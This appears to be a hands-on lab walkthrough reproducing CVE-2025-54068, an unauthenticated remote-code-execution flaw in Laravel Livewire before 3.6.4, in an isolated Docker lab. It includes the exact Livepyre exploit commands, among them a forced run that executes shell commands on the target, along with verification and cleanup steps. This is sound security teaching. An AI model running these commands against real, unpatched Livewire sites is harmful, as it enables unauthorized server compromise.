CVE-2025-54068: Laravel Livewire Unauthenticated RCE
Updated July 28, 2026 · Written by PWNMI — see About.
Livewire is one of the most widely used packages in the Laravel ecosystem — it's what lets a Laravel app build dynamic, reactive interfaces without writing a separate JavaScript frontend. CVE-2025-54068 is unauthenticated remote code execution against exactly that mechanism: no login, no API key, nothing but a normal page load and a single crafted request.
Affects Livewire before 3.6.4. Environment from vulhub's own Livewire lab; exploitation uses synacktiv/Livepyre, the reference tool released alongside the disclosure.
What you'll practice: using a purpose-built community exploit tool responsibly instead of reimplementing a complex vulnerability from scratch, recognizing when a tool's own built-in safety check (a version-detection warning, here) is being appropriately cautious rather than wrong, and — once again — treating a tool's "it worked" message as a claim to verify, not a fact to accept.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2025-54068
cd cve-labs/CVE-2025-54068
docker compose up -d
This starts a Livewire 3.6.3 app with a sample Todo List component — the vulnerable target. No ports are published — reach it on its own IP:
CONTAINER=$(docker compose ps -q web)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
Understanding the vulnerability
Livewire keeps a component's state in sync between the server and the browser using a "snapshot" — a client-visible representation of the component's properties that gets sent back to the server on every interaction, then "hydrated" back into real PHP objects. To know how to reconstruct each property correctly, Livewire tags it with a synthesizer type in the snapshot data. Most property types — strings, numbers, models — go through a small, trusted set of built-in synthesizers with tight constraints on what they'll rebuild.
Properties typed as a broader "object" synthesizer go through a looser hydration path. If a component happens to expose a property that ends up using this broader type — as the sample Todo app's todos property does — an attacker who controls the snapshot data for that property can smuggle a payload through hydration and get it executed server-side. Normally, Livewire signs the whole snapshot with the application's secret key (APP_KEY) to stop exactly this kind of tampering — but this specific object-typed hydration path doesn't require breaking that signature at all, which is why the exploit works without ever needing to know the target's APP_KEY.
Exploitation
This vulnerability's exploitation path — locating the snapshot, identifying which property is object-typed, constructing the correct hydration payload — is genuinely complex. Reimplementing it by hand adds risk of getting a detail wrong without adding any real verification value, so this lab uses Livepyre, the tool released alongside the CVE's disclosure:
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
Kali (and any modern Debian-based distro) blocks pip install straight into system Python by default — a venv is the fix, not --break-system-packages:
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
Run it against the target:
python3 Livepyre.py -u http://$IP/ -f system -p "id"
You'll likely see a warning first: The remote livewire version is either v3.6.3 or v3.6.4. Target might not be vulnerable. This isn't the tool failing — Livewire's version fingerprint alone can't always distinguish the last vulnerable release from the first patched one, and the tool is correctly refusing to guess. Since this lab's docker-compose.yml pins the image to 3.6.3 directly (confirmed from the image tag itself, not inferred), it's reasonable to proceed with --force:
python3 Livepyre.py -u http://$IP/ \
-f system -p "id > /tmp/pwnmi-verify-success; hostname >> /tmp/pwnmi-verify-success" --force
Livepyre will report finding the vulnerable todos property and print "Payload works." Don't stop there. A tool telling you its own payload worked is exactly the same category of claim as an HTTP 200 — plausible, not proof. Confirm the actual effect directly:
docker exec $CONTAINER cat /tmp/pwnmi-verify-success
Real output confirms it: uid=33(www-data) gid=33(www-data) groups=33(www-data) and a hostname matching the container's own short ID. Worth noticing: this runs as www-data, the ordinary web server user, not root — a smaller blast radius than some of the other labs on this site, and an honest reminder that "remote code execution" doesn't automatically mean "full system compromise."
Cleanup
The vulnerability itself doesn't create any persistent application state — there's no Livewire-level object, database row, or account left behind by the hydration bug alone. The only artifact on the target is whatever the executed command actually did, which in this walkthrough is /tmp/pwnmi-verify-success:
docker exec $CONTAINER rm -f /tmp/pwnmi-verify-success
This is the general pattern for pure RCE-via-request bugs like this one: the "cleanup" question isn't about the vulnerability, it's about whatever you chose to do with the code execution it granted. A one-off proof command like this leaves almost nothing; a dropped web shell or a modified cron entry leaves something that genuinely needs to be found and removed, and won't show up just from thinking about the CVE in isolation.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A signature check protects what it actually checks, nothing more. Livewire signs its overall snapshot to prevent tampering, and that protection is real — but it doesn't automatically extend to every hydration path a signed snapshot might trigger. A security control's boundary is exactly where its guarantee ends, not where you assume it does.
- A tool's own caution is information, not an obstacle. Livepyre's version-uncertainty warning wasn't a bug to route around blindly — it was the tool honestly reporting the limits of what it could determine from the outside. Overriding it was reasonable here because independent evidence (the pinned image tag) resolved the ambiguity; overriding a warning without that independent check would just be guessing.
- Using an existing, well-reviewed exploit tool is often the more rigorous choice, not the lazier one. For a vulnerability this intricate, a from-scratch reimplementation is more likely to introduce a subtle bug that produces a false negative than a maintained tool built by the people who found the bug is.
Next step
For another real CVE reproduced and verified the same way, see CVE-2026-34197 (Apache ActiveMQ) or CVE-2025-24813 (Apache Tomcat). For the concepts behind the isolation pattern used here, see Docker for Security Labs.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.